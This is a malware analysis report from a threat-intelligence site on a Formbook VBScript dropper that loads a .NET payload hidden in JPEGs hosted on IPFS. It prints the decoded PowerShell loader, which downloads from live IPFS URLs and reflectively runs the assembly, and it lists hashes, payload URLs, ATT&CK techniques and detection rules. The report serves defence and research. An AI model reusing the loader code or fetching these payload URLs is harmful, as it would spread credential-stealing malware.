BreakglassIntelligence
Back to reports
highPhishing

Formbook - VBScript Dropper with IPFS-Hosted Steganographic Loader

PublishedMarch 12, 2026
phishingcredential-theftc2apt

Executive Summary

This sample is a heavily obfuscated VBScript (VBS) dropper that initiates a multi-stage infection chain culminating in the deployment of the Formbook information stealer. The script employs dual-layer obfuscation using "chevice" and "caram" token substitution across 38,877 lines—the first ~19,400 of which are pure junk code designed to bloat the file and exhaust analysis tools. The functional payload occupies the final ~40 lines. Upon execution, the dropper decodes a hex-encoded PowerShell command, then launches it silently via Windows Management Instrumentation (WMI) to evade detection. The PowerShell stage downloads a fake JPEG file from the InterPlanetary File System (IPFS) pinning service gateway.lighthouse.storage, extracts a Base64-reversed .NET assembly hidden between steganographic markers, and executes the Fiber.Program.Main method. This loader then downloads and process-injects the final Formbook payload (also hosted on IPFS). Use of IPFS for payload hosting is a deliberate evasion technique: content is immutable, decentralised, and difficult to take down. Known lure filenames include KIZAD_WSP-2025-PRO.vbs, suggesting potential targeting of logistics or commercial entities in the UAE/Gulf region.

Sample Metadata

FieldValue
SHA25695f69328694f351bb21526bc7970646af26380f2be3a1008ce58311c12d11f54
MD5d107b3bf4609b4c1bc3ecc06d518d2df
SHA167b8d5dea53db8c174c1c17c7b06da59770e179e
File TypeASCII text / VBScript (CRLF line terminators)
File Size1,613,520 bytes (1.54 MB)
Line Count38,877 lines
VT Detections17 / 76 (as of 2026-03-12)
First Seen2026-03-11 08:14:06 UTC
Last Seen2026-03-12 16:21:34 UTC
Threat Labeltrojan.gqyk/sagent (VirusTotal consensus)
Reported Byabuse.ch
Known FilenamesKIZAD_WSP-2025-PRO.vbs, ahppysnewfud.vbs, Name_File.vbs

Stage 2 – .NET Loader (extracted from IPFS JPEG)

FieldValue
SHA2569fe957e5be9729b4fe64906b95a6ff2931d42ff2805ad12069b99e3fdc8b6ae3
MD5b8d6dd51523250152b0dbab27e53fcc8
File TypePE32 DLL – Mono/.NET assembly
File Size1,323,520 bytes
VT Detections44 / 76
AV NameGen:Variant.Cerbu.270977 / MSIL/Kryptik.APCM / Trojan.InjectNET.14

Static Analysis Findings

VBScript Obfuscation (Stage 1)

The VBS file uses two layers of token-based string obfuscation:

  1. Junk inflation: Lines 1–19,418 consist entirely of the statement nonrewarding = nonrewarding & "chevice", building a never-used string. This pads the file to ~1.5 MB to slow or crash AV scanners and analysts.

  2. Dual-token hex encoding: The hex-encoded PowerShell payload is stored in variable echoey. Each hex character is separated by the token caram, and additional chevice tokens are sprinkled throughout. Decoding is:

    subcookie = Replace(Replace(CStr(echoey), "chevice", ""), "caram", "")

    After removing both tokens, a raw hexadecimal string remains.

  3. String fragmentation: API names are further obfuscated by splitting across concatenated chevice-containing substrings:

    • winmgmts:root\cimv2 → wcheviceichevicenchevicemcheviceg...
    • Win32_ProcessStartup, Win32_Process

PowerShell Payload (decoded from hex)

$mazamorra = 'https://gateway.lighthouse.storage/ipfs/bafybeienmgwcoj64jx2t5nmlik2wba3xsil6bmjzqkszqpwyadgvl64mxe'
$preopinion = New-Object ("Net.Web"+"Client")
$yarmulkes = $preopinion.("Download"+"Data").Invoke($mazamorra)
$glossed = [Text.Encoding]::UTF8.GetString($yarmulkes)
$spiromonas = 'IN-'
$wholth = '-in1'
$winkie = $glossed.IndexOf($spiromonas)
$magistracy = $glossed.LastIndexOf($wholth)
# ... extract between IN- and -in1 markers, reverse, replace # with A, Base64 decode
$archespore = [Convert]::("FromBase6"+"4String").Invoke($nolpe)  # .NET assembly bytes
$proplyd = [AppDomain]::CurrentDomain.("Lo"+"ad").Invoke($archespore)
$conessi = @(
  'https://gateway.lighthouse.storage/ipfs/bafybeigl7leimjh6izjxqapmyjzuobigsz6l7y2lvfcyrnyw5nl254m6aq',
  '0','C:\Users\Public\Downloads\','Name_File','wscript','1','wscript','0',
  'URL','C:\Users\Public\Downloads\','Name_File','vbs','1','1','Task_Name','0','','',''
)
$floodlighting = $proplyd.GetType('Fiber.Pro'+'gram')
$dangerfully = $floodlighting.GetMethod('Ma'+'in')
$dangerfully.Invoke($null, [object[]]$conessi)

Key observations:

  • The URL string is built with character concatenation to evade static string matching.
  • .NET reflection API calls (GetType, GetMethod, Invoke) are split with string concatenation.
  • The Fiber.Program.Main method receives a configuration array including the C2 IPFS URL, drop paths, host process name (wscript), task name (Task_Name), and persistence flags.

Stage 2 JPEG Steganography

The IPFS JPEG (bafybeienmgwcoj64jx2t5nmlik2wba3xsil6bmjzqkszqpwyadgvl64mxe) is a valid 3,155,453-byte JPEG with an HP ICC colour profile. The .NET assembly is hidden within the JPEG data stream:

  • Start marker: IN- at byte offset 1,390,750
  • End marker: -in1 at byte offset 3,155,449
  • Encoding: Base64, reversed, with # replacing A characters
  • Extracted assembly: 1,323,520 bytes, PE32 DLL (Mono/.NET)

Stage 2 .NET Loader (Fiber.Program)

The Fiber.Program .NET assembly (detected as Gen:Variant.Cerbu.270977) performs:

  • Process injection: imports VirtualAllocEx, WriteProcessMemory, CreateProcess from kernel32.dll
  • Task Scheduler persistence: embeds Microsoft.Win32.TaskScheduler.dll (legitimate library from github.com/dahall/taskscheduler) to create a scheduled task named Task_Name
  • AES encryption: references AesCryptoServiceProvider (likely for C2 traffic or payload decryption)
  • Target process: injects into wscript.exe
  • Final payload: downloads from second IPFS URL (bafybeigl7leimjh6izjxqapmyjzuobigsz6l7y2lvfcyrnyw5nl254m6aq, 2.5MB JPEG)

Entropy and Sections

  • VBS source: low entropy (~3.5 bits/byte) due to repetitive junk text
  • Stage 2 .NET DLL: PE32, 3 sections, moderate entropy indicating packed/encrypted embedded resources

Behavioral Analysis (Static Inference)

Based on static analysis and known Formbook TTP patterns, the expected runtime behaviour is:

  1. Execution: User double-clicks .vbs file; wscript.exe executes the dropper.
  2. Self-copy: Script copies itself to C:\Users\Public\Downloads\Name_File.vbs.
  3. WMI launch: Uses winmgmts:root\cimv2 Win32_Process.Create to spawn powershell.exe with -NoProfile -WindowStyle Hidden flags.
  4. IPFS download: PowerShell downloads 3.1MB JPEG from Lighthouse IPFS gateway.
  5. Assembly loading: Extracts, decodes, reverses, and reflectively loads the .NET assembly into the current PowerShell process.
  6. Task persistence: Fiber.Program creates a Windows Scheduled Task (Task_Name) pointing to C:\Users\Public\Downloads\Name_File.vbs or the wscript launcher.
  7. Process injection: Spawns wscript.exe as a host process, allocates memory, and writes the Formbook payload.
  8. Formbook execution: Formbook activates its form-grabbing, keylogging, screenshot, credential theft, and browser cookie-stealing modules.

Network Indicators

IndicatorTypeRole
gateway.lighthouse.storageDomainIPFS gateway used for all payload hosting
https://gateway.lighthouse.storage/ipfs/bafybeienmgwcoj64jx2t5nmlik2wba3xsil6bmjzqkszqpwyadgvl64mxeURLStage 2: .NET loader disguised as JPEG (3.1MB)
https://gateway.lighthouse.storage/ipfs/bafybeigl7leimjh6izjxqapmyjzuobigsz6l7y2lvfcyrnyw5nl254m6aqURLStage 3: Formbook payload disguised as JPEG (2.5MB)
bafybeienmgwcoj64jx2t5nmlik2wba3xsil6bmjzqkszqpwyadgvl64mxeIPFS CIDStage 2 loader CID
bafybeigl7leimjh6izjxqapmyjzuobigsz6l7y2lvfcyrnyw5nl254m6aqIPFS CIDFormbook payload CID

Both IPFS resources were confirmed live as of 2026-03-12, hosted on Lighthouse.storage's Cloudfront-backed IPFS gateway. IPFS content-addressing ensures payloads cannot be removed by domain takedown.

MITRE ATT&CK TTPs

Technique IDNameNotes
T1059.005Command and Scripting Interpreter: VBScriptInitial dropper execution
T1059.001Command and Scripting Interpreter: PowerShellStage 2 execution via WMI
T1047Windows Management InstrumentationWMI used to spawn PowerShell hidden
T1027Obfuscated Files or InformationDual-token hex obfuscation + file inflation
T1027.002Software PackingStage 2 assembly embedded in JPEG
T1027.010Command ObfuscationString concatenation to evade string detection
T1564.001Hide Artifacts: Hidden Windowpowershell.exe -WindowStyle Hidden
T1105Ingress Tool TransferPayload fetched from IPFS at runtime
T1583.006Acquire Infrastructure: Web ServicesIPFS used for resilient payload hosting
T1036.005Masquerading: Match Legitimate Name or Location.NET DLL named Microsoft.Win32.TaskScheduler.dll
T1055Process InjectionVirtualAllocEx + WriteProcessMemory into wscript.exe
T1055.002Portable Executable InjectionPE injected into host process
T1053.005Scheduled Task/Job: Scheduled TaskTask named Task_Name for persistence
T1547.001Boot or Logon Autostart ExecutionScheduled task triggers on logon
T1074.001Data Staged: Local Data StagingDrops copy to C:\Users\Public\Downloads\
T1113Screen CaptureFormbook capability
T1056.001Input Capture: KeyloggingFormbook capability
T1539Steal Web Session CookieFormbook browser cookie theft
T1555.003Credentials from Password Stores: Credentials from Web BrowsersFormbook browser credential theft
T1041Exfiltration Over C2 ChannelFormbook C2 exfiltration

IOCs

File Indicators

TypeValueDescription
SHA25695f69328694f351bb21526bc7970646af26380f2be3a1008ce58311c12d11f54VBS dropper
MD5d107b3bf4609b4c1bc3ecc06d518d2dfVBS dropper
SHA167b8d5dea53db8c174c1c17c7b06da59770e179eVBS dropper
SHA2569fe957e5be9729b4fe64906b95a6ff2931d42ff2805ad12069b99e3fdc8b6ae3Stage 2 .NET loader
MD5b8d6dd51523250152b0dbab27e53fcc8Stage 2 .NET loader
FilenameKIZAD_WSP-2025-PRO.vbsLure filename
Filenameahppysnewfud.vbsAlternate dropper name
FilenameName_File.vbsDropped copy path
PathC:\Users\Public\Downloads\Name_File.vbsPersistence file drop

Network Indicators

TypeValueDescription
Domaingateway.lighthouse.storageIPFS gateway for all payloads
URLhttps://gateway.lighthouse.storage/ipfs/bafybeienmgwcoj64jx2t5nmlik2wba3xsil6bmjzqkszqpwyadgvl64mxeStage 2 loader URL
URLhttps://gateway.lighthouse.storage/ipfs/bafybeigl7leimjh6izjxqapmyjzuobigsz6l7y2lvfcyrnyw5nl254m6aqFormbook payload URL
IPFS CIDbafybeienmgwcoj64jx2t5nmlik2wba3xsil6bmjzqkszqpwyadgvl64mxeStage 2 loader CID
IPFS CIDbafybeigl7leimjh6izjxqapmyjzuobigsz6l7y2lvfcyrnyw5nl254m6aqFormbook payload CID

Artifact/Behavioral Indicators

TypeValueDescription
Scheduled TaskTask_NamePersistence task created by loader
Processwscript.exeHost process for Formbook injection
WMI Querywinmgmts:root\cimv2 → Win32_Process.CreateExecution via WMI
Registry Key(standard Formbook HKCU run key pattern)Possible secondary persistence
.NET ClassFiber.ProgramLoader class name
.NET MethodFiber.Program.MainLoader entry point
SteganographyMarkers IN- / -in1 in JPEGHidden payload markers

Campaign Context and Attribution

  • Malware family: Formbook (also known as FormBook, XLoader on macOS). A commodity information stealer-as-a-service (MaaS) sold on underground forums since ~2016 and its XLoader successor.
  • Lure: The filename KIZAD_WSP-2025-PRO.vbs references "KIZAD" (Khalifa Industrial Zone Abu Dhabi) and "WSP" (possibly a construction/engineering firm), suggesting targeting of logistics, manufacturing, or construction sector targets in the UAE/Middle East.
  • Distribution: Likely delivered via email phishing. The VBS dropper pattern (self-copying + WMI execution) is consistent with known Formbook MaaS distribution kits observed in 2025-2026.
  • IPFS Abuse: The use of gateway.lighthouse.storage as a payload delivery mechanism is a growing trend among commodity malware actors seeking censorship-resistant hosting. Multiple Formbook campaigns have adopted IPFS gateways since mid-2024.
  • Attribution: Formbook is sold as a crimeware kit; attribution to a specific threat actor requires additional campaign correlation. The KIZAD lure may indicate a Middle East-focused operator.

Detection Recommendations

Endpoint

  1. Block execution of .vbs files from email clients and Downloads folders via AppLocker/WDAC.
  2. Detect PowerShell processes spawned by wscript.exe with -WindowStyle Hidden and -NoProfile arguments.
  3. Alert on Win32_Process.Create WMI events spawning powershell.exe.
  4. Monitor for creation of scheduled tasks with generic names (e.g., Task_Name) or tasks pointing to C:\Users\Public\.
  5. Detect reflective .NET assembly loading from memory (ETW .NET process events).
  6. Flag any process injecting into wscript.exe using VirtualAllocEx/WriteProcessMemory.

Network

  1. Block outbound HTTP/HTTPS requests to gateway.lighthouse.storage (and other public IPFS gateways: ipfs.io, cloudflare-ipfs.com, dweb.link).
  2. Alert on DNS queries resolving to Lighthouse Storage / IPFS gateway infrastructure.
  3. Inspect large JPEG downloads (Content-Type: image/jpeg) from non-CDN cloud storage for anomalous content (e.g., ASCII text at high byte offsets).

Threat Hunting

  • Search for IN- and -in1 byte patterns in downloaded files (JPEG steganography markers).
  • Hunt for .vbs files in C:\Users\Public\ directories.
  • Correlate powershell.exe processes with parent wscript.exe + WMI activity.
Share